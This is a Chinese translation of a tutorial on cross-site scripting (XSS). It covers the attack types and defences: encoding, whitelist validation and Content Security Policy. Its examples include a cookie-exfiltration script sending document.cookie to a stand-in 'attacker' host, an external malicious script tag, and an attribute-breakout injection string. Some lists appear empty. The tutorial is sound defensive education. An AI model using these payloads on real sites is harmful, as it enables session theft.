XSS 大揭秘

ℹ️ 本文发布于请注意文中内容的时效性。 本文译自: 原文链接

第一章:综述

什么是 XSS ?

XSS 全称是 Cross-site scripting(跨站脚本攻击), 是一种网络攻击方式。它可以让攻击者在其他人的浏览器中执行恶意的 JavaScript 代码。从而达到攻击者不可告人的目的。

Cross-site scripting 的缩写之所以不是 CSS,主要是因为与 Web 的常用技术 Cascading Style Sheets(CSS) 同名。为了保证对于 CSS 语义的一致性理解,所以将其更改为 XSS。

XSS 攻击者没有具体的攻击目标,他是利用受害者所访问网站的漏洞,将恶意的代码注入到受害者所访问的页面中。对受害者使用的浏览器来说,恶意 JavaScript 也属于网站的”正常”代码,因此网站就成为了攻击者的帮凶。

恶意代码是如何被注入的?

攻击者在受害者浏览器中运行恶意代码的唯一方式就是将它注入到受害者从网站下载的页面中。如果网站在它的页面中直接使用了「用户输入」, 就会导致 XSS 攻击。因为攻击者也可以是网站用户, 他可以插入字符串形式的代码在网站的页面中, 而在受害者将网站的页面下载到浏览器中运行时,字符串形式的恶意代码就会被当作真正的代码来执行。

在下面的例子中,数据库中的一段 JavaScript 脚本被当作评论信息展示在网站的页面中。

print "<html>"
print "Latest comment:"
print database.latestComment
print "</html>"

JavaScript 代码伪装成了本应由文字所构成的评论信息,但是由于网站中的「用户输入」被直接输出在页面中,所以攻击者才能将他的恶意代码:<script>...</script> 注入到用户下载的页面中。

那么接下来任何访问该页面的用户都会接收到类似下面的响应:

<html>
  Latest comment:
  <script>
    ...
  </script>
</html>

当用户的浏览器加载该页面时,浏览器会执行被包含在 <script> 标签中的代码,此时攻击者就已经成功完成了攻击。

什么是恶意的 Javascript 代码 ?

首先,能够在受害者浏览器中执行的 JavaScript 并不全都是恶意代码。毕竟,JavaScript 在非常受限制的环境中运行,该环境对用户的文件和操作系统具有极其有限的访问权限。你可以现在就打开浏览器的 JavaScript 执行环境执行任意你想执行的 JavaScript 代码, 你是不会对你的计算机造成任何损坏的。

然而,如果你发现 JavaScript 代码具有以下行为时,那很有可能它就是恶意代码:

这些事实加在一起可能会导致非常严重的安全漏洞,我们会在在下文中进行详细解释。

恶意代码导致的严重后果

攻击者可以通过注入恶意代码执行以下几种类型的攻击:

尽管这些攻击有很大地不同,但是它们都具有一个至关重要的相似性:由于攻击者已将代码注入到网站的页面中,因此恶意 JavaScript 是在该网站的上下文中执行的。这意味着它被视为该网站上的”正常”脚本:它可以访问该网站的受害者数据(例如 cookie),URL 栏中显示的主机名将是该网站的主机名。该脚本被认为是网站的合法部分,因此可以执行实际网站可以执行的任何操作。

这个事实突出了一个关键问题:

如果攻击者可以使用你的网站在另一个用户的浏览器中执行任意 JavaScript,那么你的网站及其用户的安全性已经受到了严重损害。

为了强调这一点,本教程中的一些例子中省略了恶意脚本的具体代码,只保留了 <script>...</script>,这是因为不论被注入的代码执行了哪种行为,只要网站中存在攻击者注入的代码,就会对用户造成损害。请你们牢记这一点!

第二章:XSS 攻击演示

XSS 攻击中的角色

在我们描述 XSS 攻击的细节之前,我们首先说说参与到 XSS 攻击中的各个角色。通常来说,XSS 攻击中有三个角色:网站受害者攻击者

攻击场景展示

在本例中,我们假设攻击者的目的就是为了通过网站的 XSS 漏洞来获取用户的隐私数据。在受害者的浏览器解析了如下的 DOM 结构后,攻击者的目的就达到了。

<script>
  window.location = "<http://attacker/?cookie=>" + document.cookie
</script>

该脚本将用户的浏览器导航到了另一个 URL,触发了一个地址为攻击者服务器的 HTTP 请求。该 URL 在查询参数部分包含了受害者的 cookie 信息。这样当请求到达攻击者的服务器之后,攻击者就可以获取到受害者的 cookie 信息。一旦攻击者获取到受害者的 cookie, 他就可以假冒成受害者发起进一步的攻击。

从现在开始,上面的 HTML 代码将被称为恶意字符串或恶意脚本。注意,字符串代码只有在受害者的浏览器中被解析为 HTML 时才是恶意的,这只能是由于网站上的 XSS 漏洞导致的。

攻击是怎么发生的?

下图说明了攻击者是如何执行 XSS 攻击的:

How the example attack works

  1. 攻击者使用网站提供的一个表单提交了恶意代码到网站的数据库中。
  2. 受害者开始请求网站的页面。
  3. 网站将数据库中由攻击者提交的恶意代码包含在页面的响应中发送给受害者。
  4. 受害者的浏览器执行由网站提供的页面中的恶意代码,发送了受害者的 cookie 信息到攻击者的服务器中。

XSS 的类型

尽管 XSS 攻击的目标始终是在受害者的浏览器中执行恶意 JavaScript,但是达成这个目标的方式还是有些不同。 XSS 攻击通常分为三种类型:

之前例子中的图片就描述一个持久化的 XSS 攻击。我们现在来看看剩下的两种攻击类型:反射性的 XSS 和基于 DOM 的 XSS。

反射性 XSS

在反射性的 XSS 攻击中,恶意代码是受害者请求页面时 URL 中的一部分。然后,网站将这个 URL 中的恶意字符串包含在发回给用户的响应中。下图说明了这种情况。

Reflected XSS

  1. 攻击者设计了一个包含恶意字符串的 URL,并将其发送给受害者。
  2. 攻击者诱骗受害者从网站请求 URL。
  3. 该网站在响应中包含来自 URL 的恶意字符串。
  4. 受害者的浏览器执行由网站提供的页面中的恶意代码,发送了受害者的 cookie 信息到攻击者的服务器中。

反射性 XSS 是如何攻击成功的?

起初,反射性 XSS 可能看起来很蠢,因为它需要受害者自己发送一个包含恶意字符串的请求。但是没有人会心甘情愿地攻击自己,所以看起来反射性的 XSS 攻击没有办法执行。

但事实证明,至少有两种常见地方式可以使受害者对自己发起反射性 XSS 攻击。

这两种方法是很相似的,如果使用 URL 缩短服务,两者的成功率都可以更高,因为 URL 缩短服务可以掩盖恶意字符串,使用户无法识别它。

基于 DOM 的 XSS 攻击

基于 DOM 的 XSS 是持久性 XSS 和反射性 XSS 的一种变种。在基于 DOM 的 XSS 攻击中,直到网站的 JavaScript 被执行,恶意字符串才会被受害者的浏览器解析。这种 XSS 攻击方式,比前两种更为隐蔽,且不以查找。下图说明了这种反射性 XSS 攻击的情况。

DOM-based XSS

  1. 攻击者设计了一个包含恶意字符串的 URL,并将其发送给受害者。
  2. 攻击者诱骗受害者从网站请求 URL。
  3. 该网站收到请求,但响应中不包含恶意字符串。
  4. 受害者的浏览器执行”合法 JavaScript 脚本,从而将恶意脚本注入到页面中。
  5. 受害者的浏览器执行网站的页面中的恶意代码,发送了受害者的 cookie 信息到攻击者的服务器中。

为什么基于 DOM 的 XSS 攻击更难发现

在前面的持久性和反射性 XSS 攻击的例子中,服务器将恶意脚本插入到页面中,然后以响应的方式发送给受害者。当受害者的浏览器收到响应时,它认为恶意脚本是页面合法内容的一部分,并在页面加载过程中像其他脚本一样自动执行它。

然而,在基于 DOM 的 XSS 攻击的例子中,恶意脚本起初并没有作为页面的一部分被浏览器执行,而是在页面加载期间在执行页面”合法”的 JavaScript 代码后,才被注入到 HTML 中。问题在于,这个合法脚本直接利用「用户输入」来为页面添加 HTML。因为恶意字符串是利用 innerHTML 插入到页面中的,所以被解析为 HTML,导致恶意脚本被执行。

这之间的区别很微妙但很重要。

为什么基于 DOM 的 XSS 很重要

在前面的持久性和反射性 XSS 攻击的例子中,真正合法的 JavaScript 即使无需执行也可以完成攻击;服务器可以自己生成所有的 HTML。如果服务器端的代码没有漏洞,那么网站就不会受到 XSS 的攻击。

然而,随着 Web 应用变得越来越先进,越来越多的 HTML 是由客户端的 JavaScript 而不是服务器生成的。任何时候,如果需要在不刷新整个页面的情况下更改内容,就必须使用 JavaScript 进行更新。最值得注意的是,当页面在 AJAX 请求后更新时,如果不处理恶意的「用户输入」,就会出现 XSS 攻击这种情况。

这意味着,XSS 漏洞不仅可能存在于网站的服务器端代码中,也可能存在于网站的客户端 JavaScript 代码中。因此,即使服务器端代码是完全安全的,客户端代码仍然可能在页面加载后,在 DOM 更新中不安全地使用「用户输入」。如果发生这种情况,客户端代码已经遭受了 XSS 攻击。

基于 DOM 的 XSS 对服务器不可见

有一种基于 DOM 的 XSS 的特殊情况,即恶意字符串从一开始就没有被发送到网站的服务器:当恶意字符串包含在 URL 的片段标识符中(#字符之后的任何内容)。浏览器不会将 URL 的这部分内容发送给服务器,所以网站没有办法使用服务器端代码访问它。然而,客户端代码却可以访问它,因此可以通过不安全的处理方式造成 XSS 漏洞。

这种情况不仅限于片段标识符。还有其他对服务器不可见的用户输入包括新的 HTML5 功能,如 LocalStorage 和 IndexedDB。

第三章:阻止 XSS

阻止 XSS 的方法

回顾一下,XSS 攻击是一种代码注入:恶意用户的输入被误解为受信任的代码。为了防止这种类型的代码注入,需要进行安全输入处理。对于 Web 开发人员来说,有两种不同地方式来执行安全输入处理:

虽然这些是阻止 XSS 的不同方法,但是它们有一些共同的特性,在使用这两种方法中的时,都必须理解这些特性:

在详细解释编码和校验如何工作之前,我们将先解释一下这些要点。

输入处理上下文

在一个网页中,用户输入可能被插入在许多不同的上下文(位置)中。对于每一种上下文,都必须遵循特定的规则,以保证用户输入的内容不会脱离上下文而被解释为恶意代码。以下是最常见的上下文。

ContextExample code
HTML element content<div>userInput</div>
HTML attribute value<input value="userInput">
URL query valuehttp://example.com/?parameter=userInput
CSS valuecolor: userInput
JavaScript valuevar name = "userInput";

为何上下文很重要

在上述的所有上下文中,如果用户输入的内容在被编码或校验之前被插入,就会出现 XSS 漏洞。攻击者就可以通过简单地插入该上下文的结束定界符并在其后面插入恶意代码来注入恶意代码。

例如,如果网站在某一时刻将用户输入直接插入到 HTML 属性中,攻击者就可以通过以引号开始他的输入来注入一个恶意脚本,如下所示。

Application code<input value="userInput">
Malicious string"><script>...</script><input value="
Resulting code<input value=""><script>...</script><input value="">

尽管可以通过简单地删除用户输入中的所有引号来防止 XSS 攻击,但这只限于在这个(html element content)上下文中。如果同样的输入被插入到另一个上下文中,结尾定界符就会不同,这样就有可能被注入。出于这个原因,安全输入处理总是需要根据插入用户输入的上下文来定制。

入站/出站时的用户输入处理

从直觉上看,似乎可以通过在网站收到所有用户输入时立即对其进行编码或校验来防止 XSS。这样一来,任何恶意字符串只要包含在页面中,就应该已经被处理过了,而生成 HTML 的脚本也不必担心安全输入处理问题。

问题是,如上所述,用户输入可以插入到一个页面的多个上下文中。当用户访问到页面时,没有一个简单的方法来确定它最终会被插入到哪个上下文中,同一个用户输入往往需要插入到不同的上下文中。因此,依靠入站输入处理来防止 XSS 是一个非常脆弱的解决方案,会很容易出现错误。(PHP 中被废弃的 ”magic quotes “功能就是这样一个解决方案的例子)。

相反,出站输入处理应该是对 XSS 的主要防线,因为它可以考虑到用户输入将被插入的特定上下文。。

在哪里执行安全输入处理

在大多数的现代 web 应用中,用户的输入既要被服务端代码使用也要被客户端代使用。为了防止所有类型的 XSS 攻击,安全输入处理必须同时在服务端代码和客户端代码执行。

现在我们已经解释了为什么上下文很重要,为什么入站和出站输入处理之间的区别很重要,以及为什么安全输入处理需要在客户端代码和服务器端代码中执行,我们将继续解释两种类型的安全输入处理(编码和校验)如何实际执行。

Encoding(编码)

编码是对用户输入的信息进行转义,使浏览器仅将其解释为数据而非代码的行为。在网络开发中,最知名的编码类型是 HTML 转义,它将 <> 等字符分别转换为 &lt&gt

下面的伪代码中展示了用户的输入通过服务器端的代码做 HTML 转义后插入到页面中的样子。

print "<html>"
print "Latest comment: "
print encodeHtml(userInput)
print "</html>"

如果用户的输入是 <script>...</script>, 那么 HTML 将会是如下形式:

<html>
  Latest comment: &lt;script&gt;...&lt;/script&gt;
</html>

因为所有具有特殊意义的字符都被转义了,浏览器不会将用户的输入作为 HTML 解析。

在客户端代码和服务端代码中做编码

当在你的客户端代码中执行编码时,使用的语言总是 JavaScript,它有一些内置的功能,可以为不同的上下文编码数据。

当在服务器端代码中执行编码时,你需要依赖服务器端语言或框架中的可用功能。由于可用的语言和框架数量众多,本教程将不涉及任何特定服务器端语言或框架中的编码细节。但是,熟悉 JavaScript 中客户端使用的编码函数,在编写服务器端代码时也是有用的。

客户端编码

当使用 JavaScript 在客户端对用户输入进行编码时,有几种内置的方法和属性可以以上下文感知的方式自动对所有数据进行编码。

ContextMethod/property
HTML element contentnode.textContent = userInput
HTML attribute valueelement.setAttribute(attribute, userInput) or element[attribute] = userInput
URL query valuewindow.encodeURIComponent(userInput)
CSS valueelement.style.property = userInput

上面提到的最后一个上下文(JavaScript Value)未包含在此列表中,因为 JavaScript 没有提供编码要包含在 JavaScript 源代码中的数据的内置方法。

编码转义的限制

即使使用编码将恶意输入转义,但攻击者也还可以将恶意字符串输入某些上下文。一个例子是当用户输入用于组成 URL 时:

document.querySelector("a").href = userInput

虽然给 a 元素的 href 属性赋值会自动对其进行编码,使其变成一个属性值而已,但这本身并不能阻止攻击者插入一个以 javascript: 开头的 URL。当链接被点击时,无论 URL 内嵌入什么 JavaScript 都会被执行。

当你真正想让用户定义页面的部分代码时,编码转义不是一个完美的解决方案。加入有一个用户资料页,用户可以自定义部分 HTML。如果对这个自定义的 HTML 进行编码转义,那么将无法完成该功能。

在这样的情况下,编码必须与校验相辅相成,我们将在接下来介绍。

校验

校验是过滤用户输入的行为,以便删除其中的恶意代码部分,但不一定要删除所有代码。网页开发中最常见地校验类型之一是允许「用户输入」注入到某些 HTML 元素(如<em><strong>),但不允许注入到其他元素(如<script>)中。

校验有如下两种方式:

Classification strategy(分类策略):用户的输入可以使用 「白名单」 或者 「黑名单」 来分类处理。 Validation outcome(结果鉴定): 被识别为恶意的「用户输入」可以被拒绝执行或进行”消毒”处理。

分类策略

黑名单

通过定义一个不应该出现在「用户输入」中的禁止模式来执行验证似乎是合理的。如果一个字符串符合这个模式,那么它就会被标记为无效。一个例子是允许用户提交除 javascript 以外的任何协议的自定义 URL。这种分类策略称为黑名单。

但是,它有两个缺点:

基于以上两个原因,我们非常不鼓励将黑名单作为一种分类策略。白名单通常是一种安全得多的方法,我们将在下面介绍。

白名单

白名单本质上与黑名单相反:白名单方法不是定义一个禁止的模式,而是定义一个允许的模式,如果不符合这个模式,则将输入标记为无效。

与之前的黑名单例子相反,白名单的例子是允许用户提交只包含 http:和 https: 协议的自定义 URL,不包含其他内容。如果 URL 使用协议 javascript:,即使它以 “Javascript: “或”jvascript: “的形式出现,这种方法都会自动将它标记为无效。

白名单比黑名单有两个优点:

结果鉴定

将输入标记为无效后,可以采取以下两种操作之一:

在这两种方法中,拒绝是最简单的实现方法。但”消毒”可以更有用,因为它允许用户输入的范围更广。例如,如果用户提交了一个信用卡号码,那么去除所有非数字字符的消毒例程将防止代码注入,同时允许用户输入带或不带连字符的号码。

应该使用哪种技术

编码应该是抵御 XSS 的第一道防线,因为它的目的就是中和数据,使其不能被解释为代码。在某些情况下,编码需要与校验相辅相成,如前所述。这种编码和校验应该是出站的,因为只有当输入被包含在一个页面中时,你才知道要对哪个上下文进行编码和验证。

作为第二道防线,你应该使用入站验证来消毒或拒绝那些明显无效的数据,比如使用 javascript:协议的链接。虽然这本身不能提供完全的安全性,但如果在任何时候由于错误或错误而导致出站编码和验证执行不当,这是一个有用的预防措施。

如果始终如一地使用这两道防线,网站将免受 XSS 攻击。然而,由于创建和维护整个网站的复杂性,仅使用安全输入处理来实现全面保护是很困难的。作为第三道防线,你还应该利用内容安全策略(CSP),我们将在接下来介绍。

Content Security Policy (CSP) - 内容安全策略

只使用安全输入处理来保护 XSS 的缺点是,即使是一个安全漏洞也会危及你的网站。最近一个名为内容安全策略(CSP)的网络标准可以减轻这种风险。

CSP 用于限制浏览器查看页面,使其只能使用从可信来源下载的资源。资源是指一个脚本、一个样式表、一个图像或页面引用的其他类型的文件。这意味着,即使攻击者成功地将恶意内容注入到网站中,CSP 也可以防止它被执行。

CSP 有以下几种规则:

CSP 实战

在下面的示例中, 攻击者成功地注入了恶意代码到页面中。

<html>
  Latest comment:
  <script src="<http://attacker/malicious‑script.js>"></script>
</html>

虽然在这种情况下,网站未能安全地处理「用户输入」, 但在正确使用 CSP 策略的情况下,浏览器不会加载和执行 malicious-script.js,因为 http://attacker/ 不在受信任来源集中。所以 CSP 策略防止了该漏洞造成地伤害。

即使攻击者将脚本代码内联注入而不是链接到外部文件,在不允许内联 JavaScript 的 CSP 策略下也会防止该漏洞造成任何伤害。

如何启用 CSP

浏览器不会默认开启 CSP,如果想在网站中使用该功能, 那么页面的响应头中必须含有 Content‑Security‑Policy。只要浏览器支持 CSP,任何使用该响应头的页面都会被加载它的浏览器启用其安全策略。

由于安全策略是与每个 HTTP 响应一起发送的,所以服务器可以在每个页面的基础上设置其策略。通过在每个响应中提供相同的 CSP 头,可以将相同地策略应用于整个网站。

Content-Security-Policy 响应头的值是一个定义一个或多个安全策略的字符串。

⚠️ 注意:为了表述清晰,本节中的示例使用了换行符和缩进;这不应出现在实际的响应头中。

CSP 策略的语法

CSP 响应头的语法如下:

Content‑Security‑Policy:
    directive source‑expression, source‑expression, ...;
    directive ...;
    ...

语法主要由两部分组成:

对于每种资源类型,其后跟随的来源表达式定义了哪些资源可以被下载使用。

资源类型

资源类型有如下几种:

除此之外,特殊资源类型 default-src 可用于为 CSP 响应头中未包含的所有指令提供默认值。

来源表达式

来源表达式的语法如下:

protocol://host‑name:port‑number

主机名可以以 * 开头,这意味着所提供主机名的任何子域都将被允许进行资源下载。同样,端口号也可以是 * ,这意味着所有端口都将被允许。此外,协议和端口号也可以省略。

除上述语法外,来源表达式也可以是四个具有特殊含义的关键字之一(包括引号):

请注意,无论何时使用 CSP,默认情况下都会自动禁止内联资源和 eval。使用 'unsafe-inline''unsafe-eval' 是开启它们的唯一方法。

一个示例

Content‑Security‑Policy:
    script‑src 'self' scripts.example.com;
    media‑src 'none';
    img‑src *;
    default‑src 'self' http://*.example.com

在该策略中, 页面受到了以下限制:

CSP 的当前状态

截至 2013 年 6 月,内容安全政策是 W3C 的候选建议。浏览器供应商正在实施该建议,但其中部分内容仍与浏览器有关。特别是要使用的 HTTP 头在不同的浏览器之间可能有所不同。在今天使用 CSP 之前,请查阅你需要支持的浏览器的文档。

总结

XSS 总览

XSS 攻击

阻止 XSS

附录

术语

需要注意的是,目前用于描述 XSS 的术语存在重叠:基于 DOM 的 XSS 攻击同时也是持久性的或反射性的,它不是一种独立的攻击类型。目前还没有一个被广泛接受的术语能够涵盖所有类型的 XSS 而不存在重叠。然而,无论用什么术语来描述 XSS,关于任何特定攻击,最重要的是要识别恶意输入来自哪里,漏洞在哪里。

补充